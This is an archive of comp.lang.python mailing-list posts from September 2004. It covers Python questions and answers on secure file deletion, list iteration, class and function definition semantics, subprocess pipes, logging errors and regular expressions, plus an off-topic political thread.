(Ville Vainio) Date: 06 Sep 2004 23:11:03 +0300 Subject: Secure delete with python References: Message-ID: >>>>> "Benjamin" == Benjamin Niemann writes: >> fp = open(path, "wb") >> for i in range(os.path.getsize(path)): >> fp.write("*") >> fp.close() >> os.unlink(path) Benjamin> and there is no guarantee that this actually overwrites Benjamin> the old file. The filesystem may choose to write the new Benjamin> content at another location of the disk, leaving the Benjamin> original data untouched. Seriously? What OSen are known for doing this? I'd had thought that if the file size is unchanged, the data is always written over the old data... Also, when overwriting a file, it's better to do it several times, with alternating bit patterns and "syncing" the disk after each pass. Of course even that is not going to guarantee anything because it may just go to the hardware cache in the disk unit, but it's reasonable if you are overwriting lots of data at once. Performing these steps, you'll at least get a good false sense of security ;-). -- Ville Vainio http://tinyurl.com/2prnb From roo at try-removing-this.darkboong.demon.co.uk Thu Sep 2 16:48:32 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Thu, 02 Sep 2004 21:48:32 +0100 Subject: Xah Lee's Unixism In-Reply-To: <874qmgifgy.fsf@thalassa.informatimago.com> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <1094141001.125507@teapot.planet.gong> <874qmgifgy.fsf@thalassa.informatimago.com> Message-ID: <1094158110.307899@teapot.planet.gong> Pascal Bourguignon wrote: > "Karl A. Krueger" writes: > >>When you consider that the first Macs to run OS X were several hundred >>times faster than the 1984 Mac, had one thousand times as much RAM, and >>had fifty thousand times as much mass storage, it should follow pretty >>naturally that the constraints of the old system's design would cease to >>be appropriate. > > > Yes, but the first NeXTcube or NeXTstation were not much more > powerfull than even the original Macintosh. In anycase, at the time > the Macintosh appeared, there were already 680x0 based unix workstations. It was specifically the 68000. Fixes were made that took effect in the 68010 and 68020. Dunno about 68008. IIRC the problem was that you could not restart some instructions properly. Some UNIX workstations did use 68Ks, there was an Apollo that had two of them running in lock-step, with one of them one instruction behind the other. When the leading CPU barfed, action would be taken and the other CPU would take over. Someone in comp.arch worked on the Fortune boxes and IIRC he claimed they had a more elegant single CPU solution. Cheers, Rupert From kwd at lawcomputing.com Sat Sep 4 22:44:46 2004 From: kwd at lawcomputing.com (Kendall Dugger) Date: 04 Sep 2004 22:44:46 EDT Subject: Python COM vs Visual Basic COM References: <41389DCD.33B3D0E4@lawcomputing.com> <0vfij0pocakfv7vrs8b7i1oq0er39k828b@4ax.com> Message-ID: <413A7F24.B3087194@lawcomputing.com> Nope, I have tried r"c:\zebra.wpd" and also used the sys.os module to test if the file "c:\\zebra.wpd" exists prior to running the COM stuff. Python recognizes that the file is there. It seems to be an error with the COM calls themselves. Thanks for the suggestion, but I'm still stumped. It's really frustrating that it works flawlessly under VB, but fails under Python with almost identical code. -Kendall Dennis Lee Bieber wrote: > > On 03 Sep 2004 12:31:04 EDT, Kendall Dugger > declaimed the following in comp.lang.python: > > > objWP.FileOpen("c:\\zebra.wpd", 1) > > Wild guess... Try without doubling the \, or use a single / > instead. > > -- > > ============================================================== < > > wlfraed at ix.netcom.com | Wulfraed Dennis Lee Bieber KD6MOG < > > wulfraed at dm.net | Bestiaria Support Staff < > > ============================================================== < > > Home Page: < > > Overflow Page: < From qdunkan1 at hotmail.com Wed Sep 8 17:01:12 2004 From: qdunkan1 at hotmail.com (Quinn Dunkan) Date: 8 Sep 2004 14:01:12 -0700 Subject: Remove items from a list References: Message-ID: Egbert Bouwman wrote in message news:... > On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: > > I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. > > > > x = 0 > > for each in _dbases: > > if each[-4:] <> ".dbf": > > del each # also tried: del _dbases[x] > > x = x + 1 > > > > I must be doing something wrong, but it acts as though it is.... > > > The answers you received don't tell you what you are doing wrong. > If you replace 'del each' with 'print each' it works, > so it seems that you can not delete elements of a list you are > looping over. But I would like to know more about it as well. > egbert "for each in ..." makes 'each' signify an element of _dbases. Then "del each" makes 'each' no longer signify anything. So the above doesn't really do anything at all. "del _dbases[x]" however does work, but notice that if you delete element 3, element 4 becomes element 3, etc. Then when 'x' is incremented to 4, you've skipped what used to be element 4 (which is now element 3). In general, modifying a list while iterating over it is more trouble than it's worth. Go with the listcomp solutions. From aleaxit at yahoo.com Sat Sep 11 13:34:00 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 19:34:00 +0200 Subject: Nested class structures References: <1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com> Message-ID: <1gjyr4z.z5zdz61yr4k93N%aleaxit@yahoo.com> Diez B. Roggisch wrote: ... > Thats a nice one. I always forget about the possibility to execute actual > code while a class is encountered by the interpreter. As always, I'm Right, that's all you CAN execute at that time, actually -- a class body is nothing but a generic suite of statements which execute in their own scope. > impressed on the variety of things doable in python - even if they don't > appeal to me as exactly useful (in this special case I mean.) Right about the usefulness, unless further clarified by the OP. But, sure! > > No way! Classes as well as functions are perfectly fine objects. > > Python has no 'declarations'. > > The reason I said that was because of the way the debugger steps through the > code: If it comes to a def, it doesn't execute the body - naturally. But it Ah, right, 'def' itself is executed as soon as it's met, but it "stashes" the body away for later, of course -- and it binds the name. I.e., def name(...): function_body is something like: body = compile(function_body) name = new.function('name', body, ... for an appropriate value of ...;-). Just like 'class', more precisely, class name(bases): classbody is like the sequence: classdict = {} exec class_body in classdict name = appropriate_metaclass('name', bases, classdict) where appropriate_metaclass is usually type (except for classic classes or when you're using a custom metaclass). > collects of course the function as callable. That I viewed that as sort of > declaration - but you are of course right that there is no such thing as an > actual declaration in python. Right, and that's important because sometimes it's nice to put class and def in conditionals, loops, etc -- knowing they're normal executable statements lets you do that with tranquility. E.g.: if we_are_debugging: def f(): body with much debugging printout else: def f(): lean and mean body You don't need different and special #if/#else, normal runtime if/else suffice, exactly because def is a normal executable statement... Alex From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sat Sep 25 09:21:43 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sat, 25 Sep 2004 14:21:43 +0100 Subject: getrecursiondepth In-Reply-To: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Message-ID: Manlio Perillo wrote: > Why the sys module does not have a function like getrecursiondepth? I might be ignorant, but how does this differ from sys.getrecursionlimit()? -- Michael Hoffman From danb_83 at yahoo.com Sun Sep 19 17:26:42 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 19 Sep 2004 14:26:42 -0700 Subject: Math errors in python References: Message-ID: Michel Claveau - abstraction m?ta-galactique non trivial e en fuite perp?tuelle. wrote in message news:... > Hi ! > > > No. BCD use another work : two digits by Byte. The calculation is > basically integer, it's the library who manage the decimal point. > > There are no problem of round. Yes, there are. Rounding problems don't occur in the contrived examples that show that "BCD is better than binary", but they do occur, especially with division. From godoy at ieee.org Wed Sep 15 00:28:46 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 01:28:46 -0300 Subject: up with PyGUI! References: <1gk4do8.5bj3kfi47gz5N%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > Jorge Godoy wrote: > ... >> > It says explicitly what toolkits are used. Don't you know how gtk2 looks >> > like? >> >> Yes, I do, but I don't know how it is supposed to look like from this >> toolit perspective... If I wanted everything exactly like GTK2, I'd >> probably use it. > > ...and then it would look the same on a Mac, instead of a nice Aqua > lool, right...? > > It seems to me that the point of PyGUI is ease of programming, rather > than look-and-feel, which are supposed to be native on each platform > (except no native win32 is supported yet, as far as I understand). This was the point when I asked for screenshots. ;-) I was just answering to the "you know how GTK2 looks like" question. Even with a nice description and with the used toolkits described, I see no reason to not include a screenshot or at least an hiperlink to some screenshots. It is weird see a GUI project with no GUI screen in its description. -- Godoy. From P at draigBrady.com Wed Sep 29 08:02:35 2004 From: P at draigBrady.com (P at draigBrady.com) Date: Wed, 29 Sep 2004 13:02:35 +0100 Subject: Trouble with popen2 In-Reply-To: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> Message-ID: Rembrandt Q Einstein wrote: > I am running an external command and I need to know a) when it is done > and b) what it wrote to both stdout and stderr. After a little > searching, I found the popen2 module and used the Popen3 class. I'm > having trouble with it hanging, though. This should be a FAQ if it's not. Have a go with: http://www.pixelbeat.org/libs/subProcess.py P?draig. From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 13 17:33:27 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 13 Sep 2004 22:33:27 +0100 Subject: #comments References: Message-ID: On Mon, 13 Sep 2004 22:27:32 +0100, Ken Parkes wrote: Oops, sorry that should have been data=raw_input("Type something ") # spaces after "something" myInput=data print "You typed " myInput # and again print "The fourth character is " myInput[3] # and again Ken. From fuzzyman at gmail.com Thu Sep 30 15:38:07 2004 From: fuzzyman at gmail.com (Fuzzyman) Date: Thu, 30 Sep 2004 20:38:07 +0100 Subject: New to python, baffled by program output References: Message-ID: <61ool05pvjplb3tfe2efefdif4si9fbmaa@4ax.com> On 30 Sep 2004 12:15:24 -0700, Lazareth at gmail.com (Lazareth S. Link) wrote: >Hiya to whoever might stumble across this. > >I've recently taken up learning how to script/program in python. >I've made my first program, a simple fahrenheit-celsius converter, >both ways. >For some reason I fail to comprehend, the program writes a line of >"None" when rerun in a while loop. >Here is the code: > >---START--- >def choice_c(): > print > celsius = input("Input celsius: ") > print "Fahrenheit: ",cel_fah(celsius) > print > >def choice_f(): > print > fahrenheit = input("Input fahrenheit: ") > print "Celsius: ",fah_cel(fahrenheit) > print > >def cel_fah(placeholder): > return 9.0/5.0*placeholder+32 > >def fah_cel(placeholder): > return (placeholder-32.0)*5.0/9.0 > >def options(): > print "press 'c' to convert celsius to fahrenheit." > print "press 'f' to convert fahrenheit to celsius." > print "press 'q' to exit program." > >choice = "n" >options() >while choice != "q": > choice = raw_input("Choice: ") > if choice == "c": > choice_c() > elif choice == "f": > choice_f() > print options() This is your problem. You're telling python to print the resultof the function options() When called options prints the options - but it doesn't have an explicit return value. This means that it returns None when it has finished and python duly prints that for you. Replace 'print options()' with just 'options()' which will just call the options procedure without expecting a return value. HTH Regards, Fuzzy >---END--- > >Any of you know why it prints that line? Is is just my comp? >If any applies, how to get around it? >Would greatly appreciate the help. From mauriceling at acm.org Thu Sep 23 23:21:32 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 24 Sep 2004 03:21:32 GMT Subject: Check for presence fo directory Message-ID: <415392b8$1@news.unimelb.edu.au> Hi, I'm looking for a way to check the presence of a directory, such as, finddirectory(d), where d is the full directory path. Or is the only way is to use os.listdir() to get the directory list and test for the presence of the directory I want before creating one? What will happen if I try to create a directory that is already present? Thanks Maurice From tor.iver.wilhelmsen at broadpark.no Wed Sep 8 04:23:01 2004 From: tor.iver.wilhelmsen at broadpark.no (Tor Iver Wilhelmsen) Date: 08 Sep 2004 10:23:01 +0200 Subject: Remove items from a list References: Message-ID: "Stan Cook" writes: > for each in _dbases: > if each[-4:] <> ".dbf": List comprehension to the rescue! _dbases = [each for each in _dbases if each[-4:] == ".dbf"] From aleaxit at yahoo.com Wed Sep 22 05:03:51 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 11:03:51 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> <20040921182934.GA9959@unununium.org> <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> Message-ID: <1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com> Steven Bethard wrote: ... > BTree). If __cmp__ starts raising TypeErrors, your code could do something > like: > > def insert(self, val): > try: > c = cmp(self.val, val) > except TypeError: > c = -1 # self.val and val were not of the same type > # make some arbitrary decision here > ... # insert according to cmp result Nope, this would probably lead to subtle and hard to debug errors, since both a In Peter Norvig's Infrequently Answered Questions he explains that the following 2 fnctions look almost identical but are not the same: def printf(format, *args): print format % args, def printf(format, *args): print str(format) % args, The only difference is that in the second one, str(format) replaces format. If args are not given and the format string contains a '%', the first will work but the second will not. Why is this so? It seems to me like '100%' and str('100%) are the same object, no? Lowell From nigel.king at orthogonsystems.com Wed Sep 29 10:59:17 2004 From: nigel.king at orthogonsystems.com (Nigel King) Date: Wed, 29 Sep 2004 15:59:17 +0100 Subject: IOError: [Errno 32] Broken pipe Message-ID: <22F48AEA-1228-11D9-B04E-0003938543A0@orthogonsystems.com> I have a problem with the logging module. It reports a Broken Pipe error after outputing to the log file occasionally (5%). This does not appear to happen on Mac OSX using current finked python (2.3.3) but does appear to occur on Python 2.3.4 running on a very old Redhat Linux xxxxx 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686. The actual logged error follows my signature. Note that "files used:-" has been sent to the file. From a previous suggestion I had the following lines in my logger setup. import logging import signal import types logger = logging.getLogger('pathprofile') hdlr = logging.FileHandler('/var/log/pathprofile/pathprofile.log') formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') hdlr.setFormatter(formatter) logger.addHandler(hdlr) logger.setLevel(logging.INFO) signal.signal(signal.SIGPIPE, signal.SIG_DFL) # for assynchronous logging Thanks for any enlightenment. Nigel King 2004-09-27 08:15:24,864 INFO files used:- 2004-09-27 08:15:24,865 ERROR [Errno 32] Broken pipe Traceback (most recent call last): File "/home/pathprofile/public_html/PathProfile/ProcessEmail.py", line 42, in ? emod.processEmail(conf) File "/home/pathprofile/public_html/PathProfile/modules/emailmodules.py", line 253, in processEmail PathProfile.EvaluateProfile(fld, conf) File "/home/pathprofile/public_html/PathProfile/modules/PathProfile.py", line 66, in EvaluateProfile remoteheight= fld['remoteheight']) File "/home/pathprofile/public_html/PathProfile/modules/HeightFile.py", line 680, in createPathFile filesUsed() File "/home/pathprofile/public_html/PathProfile/modules/HeightFile.py", line 637, in filesUsed log.logger.info('files used:-') File "/usr/local/lib/python2.3/logging/__init__.py", line 893, in info apply(self._log, (INFO, msg, args), kwargs) File "/usr/local/lib/python2.3/logging/__init__.py", line 994, in _log self.handle(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 1004, in handle self.callHandlers(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 1037, in callHandlers hdlr.handle(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 592, in handle self.emit(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 684, in emit self.handleError(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 636, in handleError traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr) File "/usr/local/lib/python2.3/traceback.py", line 122, in print_exception _print(file, 'Traceback (most recent call last):') File "/usr/local/lib/python2.3/traceback.py", line 13, in _print file.write(str+terminator) IOError: [Errno 32] Broken pipe From sholden at holdenweb.com Wed Sep 15 08:02:58 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 15 Sep 2004 08:02:58 -0400 Subject: Xah Lee's Unixism In-Reply-To: <873c1k7rre.fsf@p4.internal> References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> <873c1k7rre.fsf@p4.internal> Message-ID: <3fW1d.5764$Xc.3663@lakeread01> Bulent Murtezaoglu wrote: >>>>>>"GM" == Greg Menke writes: > > > [on the 'crusade' faux pas] > > GM> You may or may not be right about the dumbness of language, > GM> but thats not germane. What is important are the conclusions > GM> people in the middle east draw from it. > > I think the retraction/clarification came out in less than a day if > not in hours. People who'd report this to further their agenda are also > the kind of people who shamelessly lie regardless of who says what > anyway, so I doubt he did any major damage. But of course it couldn't > have helped. > Erm, if we're talking about shameless lying then we needn't look any further than George W "reporting for duty" Bush for an example. I remain gobsmacked that the American voters still believe he is acting in their interests, when he is clearly only motivated by the desire to make the rich richer. Ultimately, of course, it's the voters who are responsible for electing a man who is quite incapable of holding two separate thoughts together, and who doesn't have the intellectual ability to the necessary will to perform a serious analysis of the geopolitical situation. The fact that a retraction was made doesn't mean that the original utterance wasn't what he meant, it merely means that the spinmeisters (yet again) jumped into action in response to the latest outbreak of "foot-in-mouth" disease. Much as it did when el presidente thoughtlessly admitted that the "war on terrorism" was unwinnable. > [...] > GM> What if what if what if. The problem is we're stuck in a > GM> hugely expensive, poorly planned and strategically stupid > GM> situation. We weren't before we invaded. > > I'll tell you what's worse: if the guys who got you into this > situation aren't duly punished at the polls, we may well see more of > it. Not that the replacement would be any better necessarily (indeed > he might be worse in many ways), but this kind of poor judgement needs > to have political consequences domestically. With the Soviets gone, > the only force that can keep the US gov't in check right now is the > reaction of the US voter. That or the unwillingness of the world to > bankroll these adventures with loans will restrain them in the short > term. (The US gets to borrow with US$ denominated paper, if that > weren't true and with the US$ getting weaker by about 20-50% against > major currencies in the past 3-4 years, the true cost of these > adventures would have been obvious by now. But then again, what > do I know?) > Far more than the average American voter, it seems to me. > [...] > GM> One problem with the situation was Dubya & Co succeeded in > GM> strongly hinting that disagreement was akin to treason. > > So it seems. > > GM> There was simply no policital room for debate after 9/11. [...] > > Yeah that's probably why people didn't point and laugh at the officials > who implied the treason bit above. Now, I suppose it will be having the > armed forces stuck in hostile territory that'll be used for this > purpose. > > cheers, > > BM It sure will. Just as Kerry's attempt, after being there, to point out the unnecessary and irrational nature the war in Viet Nam is now being treated as treasonous, when in fact it should be seen as the action of a man with a clear connection between his conscience and his conscious. regards Steve From grante at visi.com Fri Sep 3 12:52:58 2004 From: grante at visi.com (Grant Edwards) Date: 03 Sep 2004 16:52:58 GMT Subject: OT: DeviceNet via Python (was Re: It's in Python. It just _works_!) References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9JmdnQgSR7k-eqrcRVn-sA@powergate.ca> <4137f1b1$0$8083$a1866201@newsreader.visi.com> <-oKdnV1fsfDO7KXcRVn-sQ@powergate.ca> Message-ID: <4138a16a$0$65606$a1866201@newsreader.visi.com> On 2004-09-03, Peter Hansen wrote: > > I use a USB/CAN interface from PEAK-System Technik GmbH. > [snip] > [...] > I'm curious if anyone has yet contrived a working solution for > both Linux and Windows... Zanthic didn't have a Linux driver > for theirs, and I don't know what the API would have been to > talk to it from Linux. I think there is an enhanced Windows device driver for the Peak CAN interfaces, but it costs extra, and I'm not sure what advantages it has over the DLL that comes free with the device. So far I'm happy with the Peak device, they've been very quick to respond to questions and suggestions on the Linux driver. Some of the documentation is in German, but the example programs are mostly in English. -- Grant Edwards grante Yow! Is there something at I should be DOING with a visi.com GLAZED DONUT?? From g_will at cyberus.ca Tue Sep 21 14:39:34 2004 From: g_will at cyberus.ca (Gordon Williams) Date: Tue, 21 Sep 2004 14:39:34 -0400 Subject: list.pop and print doing funny things Message-ID: <000701c4a00a$576042e0$fd56e640@amd950> An easy question.... Why do I get the x printed twice in the sample below? It is like print x is being executed twice in each loop. >>> l = [1,2,3,4] >>> for x in l[:]: ... print x ... l.pop(l.index(x)) ... print l ... 1 1 [2, 3, 4] 2 2 [3, 4] 3 3 [4] 4 4 [] >>> Regards, Gordon Williams From stnchris at xmission.com Thu Sep 9 13:53:29 2004 From: stnchris at xmission.com (Steve Christensen) Date: Thu, 9 Sep 2004 17:53:29 +0000 (UTC) Subject: popen pipes fail when cwd is a UNC path References: Message-ID: In article , Mark Hadfield wrote: > Tim Black wrote: >> In my recent experience, popen os pipes always fail when cwd is a UNC >> path. Can anyone shed any light on this? Although I've seen lots of >> UNC path-related problems in this newsgroup, I've not been able to >> find anything specifically about os pipes and UNC paths. > > It's a problem with the Windows command interpreter (cmd.exe on the NT > family) which gets invoked by popen. To demonstrate this. try cd'ing to > a UNC path. You will get a message like > > '\\foo\bar' is an invalid current directory path. UNC paths are not > supported. It won't be directly applicable to the original problem... But, you can use 'pushd' on a UNC path. It will temporarily map the UNC path to a drive letter. When you do a 'popd' it will unmap the drive letter. -Steve From rogerb at rogerbinns.com Mon Sep 20 00:59:08 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sun, 19 Sep 2004 21:59:08 -0700 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: >> I sincerely don't understand why a Python Webstart would be more >> useful than pyfreeze and py2exe. > > then you really don't understand what WebStart does. I object to different packaging systems than my OS uses. When I use Windows I expect programs to arrive as setup.exe, to add themselves to the Add/Remove programs in the Control Panel etc. On Redhat boxes, I expect them to arrive as rpms. On my Gentoo box, I expect them to be part of portage. The problem I have with webstart and systems of its ilk is that they introduce yet another packaging mechanism disjoint from that of the OS. Sure they try to make it convenient. But as a user I really don't care that something is being packaged in a particular way so it can be compatible with the packaging on other machines. In fact as a user, I really don't care what programming language is used for any programs, and I don't want hurdles. Of course as a developer I do care about all that stuff, but trying to expose it to users doesn't achieve anything. Roger From adalke at mindspring.com Thu Sep 9 17:34:44 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 09 Sep 2004 21:34:44 GMT Subject: Regular Expressions Problem In-Reply-To: <808f000f.0409091048.36488ec5@posting.google.com> References: <808f000f.0409091048.36488ec5@posting.google.com> Message-ID: Oriana wrote: > Hi! > > I'm trying to 'clean up' this source file using regular expressions > in Python. My problem is, that when I try to delete extra lines, my > code fails. Here's an example.... You probably need the re.MULTILINE flag. This worked for me >>> import re >>> pat = re.compile(r"^\*\s*\n(^\*\s*\n)+", re.MULTILINE) >>> text = """/** ... * ... * Project: MyProject ... * ... * ... * ... * ... * ... * ... * ... * Description: ... * ... * This file contains the some code. ... * ... * Public Functions: ... * ... * function_1 ... * function_2 ... * ... * Private Functions: ... * ... * None. ... * ... * ... * Notes: ... """ >>> print pat.sub("*\n", text) /** * * Project: MyProject * * Description: * * This file contains the some code. * * Public Functions: * * function_1 * function_2 * * Private Functions: * * None. * * Notes: >>> Andrew dalke at dalkescientific.com From jakasspinguino at hotmail.com Wed Sep 8 23:38:01 2004 From: jakasspinguino at hotmail.com (Jason) Date: 8 Sep 2004 20:38:01 -0700 Subject: List domains on a windows network? Message-ID: Hi, I'm looking for a way to enumerate the domains within my network. I can find functions within the win32net library to enumerate computers within a given domain, but is there a way I can get a list of the domains themselves? Thanks, Jason From ajsiegel at optonline.com Sat Sep 4 10:42:08 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 04 Sep 2004 14:42:08 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <7xwtzaw8rz.fsf@ruckus.brouhaha.com> Message-ID: <4vk_c.5465$Vl5.1840@newsread2.news.atl.earthlink.net> > Is this the time to play with __dict__? > > Art I'm afraid - That didn't come out very elegant;ly, did it ;) Art From winexpert at hotmail.com Fri Sep 24 09:27:08 2004 From: winexpert at hotmail.com (David Stockwell) Date: Fri, 24 Sep 2004 13:27:08 +0000 Subject: OT: Re: incrementing a time tuple by one day Message-ID: > >David Stockwell wrote: >>_fHol = [{month:1, day:1, sYear:2004} >... >> ,{month:12, day:24, sYear:2004} >> ,{month:12, day:31, sYear:2004} > >What, you don't give the poor bastards Christmas day off?! ;-) > this year its a saturday !! 2 for the price of one :) David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html From pinard at iro.umontreal.ca Thu Sep 23 08:33:18 2004 From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard) Date: Thu, 23 Sep 2004 08:33:18 -0400 Subject: POST from a CGI In-Reply-To: <6f402501.0409221425.6f1b036b@posting.google.com> References: <6f402501.0409220027.65be4885@posting.google.com> <6f402501.0409221425.6f1b036b@posting.google.com> Message-ID: <20040923123318.GA3307@titan.progiciels-bpi.ca> [Michael Foord] > Sorry to top post... Just don't. (be sorry, top post) :-) From dave at pythonapocrypha.com Mon Sep 20 23:01:43 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Mon, 20 Sep 2004 21:01:43 -0600 Subject: Python as alternative to Visual Basic In-Reply-To: References: Message-ID: <414F9997.2040607@pythonapocrypha.com> Nelson Minar wrote: > Good questions and nice research. > > I was surprised at how many Windows-specific elements were available > in Python. Here are some notes from me writing a toy system tray app: > http://www.nelson.monkey.org/~nelson/weblog/tech/good/pythonWindows.html And don't forget ctypes! Although not a Windows-only tool, on a Windows system it opens the door to pretty much every Win32 API there is, all from pure Python. -Dave From in.aqua.scribis at nl.invalid Thu Sep 9 10:55:09 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Thu, 9 Sep 2004 16:55:09 +0200 Subject: simple string parsing ? In-Reply-To: References: Message-ID: TAG schreef: > if I have : > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > and I want to get : > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')'] > > how can I get this ?????? import re R = re.compile('[=+*:()]|[a-z]+|[A-Z]+[0-9]+|[0-9]*\.[0-9]+|[0-9]+|[^ \t\r\n]) s = '=+GC142*(GC94+0.5*sum(GC96:GC101))' R.findall(s) The last choice of the regex is to catch any tokens not defined (except for white space). -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From in.aqua.scribis at nl.invalid Fri Sep 3 18:31:57 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Sat, 4 Sep 2004 00:31:57 +0200 Subject: How to actually write a program? In-Reply-To: References: Message-ID: Mike C. Fletcher schreef: > That (called test-driven development) works very well if > you've got a general idea of what you want to do, and your > project is not about user interface design or the like (where > test-driven development can be quite messy). I got a lot of programming experience, but not with user interfaces. > There are lots of other ways to do it. I was originally > taught a method that was taught in the very early days of > computers wherein you figure out the whole program in your > head/on paper, running it in mental emulation until you're > sure you've figured out the major features of the program. This is how I often work, though I may not work out all the tiniest details in my head. > It tends to impress the heck out of certain people (you have > to be able to hold entire complex systems in your head to do > it, and that takes a lot of practice that most people have > never mastered), really speeds up planning meetings, and you > can do it in the shower, in bed, while cooking, etceteras, but > it's a lot less common these days. It's also pretty slow and > error-prone :) . I am a good programmer. On the other hand, I'm a lousy software develloper. It took me a while to realise that those are two very different things. I can write programs that do very nifty things, but if I have to rework it so people who don't know what it is about can use it, then I get stuck. Structuring it, putting all things together in a sensible way, making it accessible through a graphical user interface, which of course has to run on Windows, while I work on Linux... not my cup of tea. At least, discovering Python gives me the hope I might be able to manage more large scale applications. I have been doing it the hard way, programming C with only Emacs, no integrated software development platforms. This makes for very efficient and powereful tools, running directly from the command line (encouraged by using Linux), but you can only go so far. I started programming twenty years ago, with GW-Basic and assembler. Later C, Prolog, Oberon (briefly), PostScript, Tcl/Tk, JavaScript, Perl, ELisp, R. For me, the question is not, how do I start programming, but how do I become a software devellopper. I have peeked at wxPython and Boa Constructor, and feel like a beginner, like I know nothing about writing software. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From aleaxit at yahoo.com Wed Sep 8 12:31:50 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 18:31:50 +0200 Subject: Secure delete with python References: Message-ID: <1gjt4qt.14sue3nxvt1buN%aleaxit@yahoo.com> Michael George Lerner wrote: > Andrew Dalke wrote: > > Ville Vainio wrote: > >> Seriously? What OSen are known for [writing new content at > > > another location of the disk]? I'd had thought that if > >> the file size is unchanged, the data is always written over the old > >> data... > > > It can even be filesystem specific. Back in the days > > of WORM drives (do people still use those?) > > I know that some government agencies were still using them as recently > as a couple of years ago .. there were some regulations that said that > you had to keep undeletable backups of everything. I think your choice > was basically between a warehouse full of file cabinets and a WORM > drive or two. ...or much-cheaper CD-R (not -RW) disks...? Not sure about how well they'll age, but they're write-once, read-many, too, and cheap (besides, they don't cost much...;-). Alex From theller at python.net Tue Sep 14 15:38:01 2004 From: theller at python.net (Thomas Heller) Date: Tue, 14 Sep 2004 21:38:01 +0200 Subject: Ranting about the state of Python IDEs for Windows References: <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Message-ID: Rob McCrea writes: > Thomas Heller wrote: > >> Carlos Ribeiro writes: >>>I'm frustrated. My search for a good IDE to support my activities -- >> If you work on Windows, you should really, really, really upgrade to >> win2k, at least - even if it costs some performance on your machine. >> You can even *use* the 'dos-box' then ;-). >> Thomas > > In my not-at-all-humble-but-very-honest opinion, that's the worst > suggestion I've heard in this topic. Care to explain? Thomas From maney at pobox.com Tue Sep 21 16:08:04 2004 From: maney at pobox.com (Martin Maney) Date: Tue, 21 Sep 2004 20:08:04 +0000 (UTC) Subject: class size References: Message-ID: Robert Brewer wrote: > done. How large should a novel be before one should split it into short > stories? I just wanted to point out, respectfully, that modern practice is to break novels into trilogies. Sometimes four, five, or more part trilogies. Isn't that innovative! -- The true danger is when liberty is nibbled away, for expedients, and by parts. -- Edmund Burke From jmeile at hotmail.com Mon Sep 27 07:17:08 2004 From: jmeile at 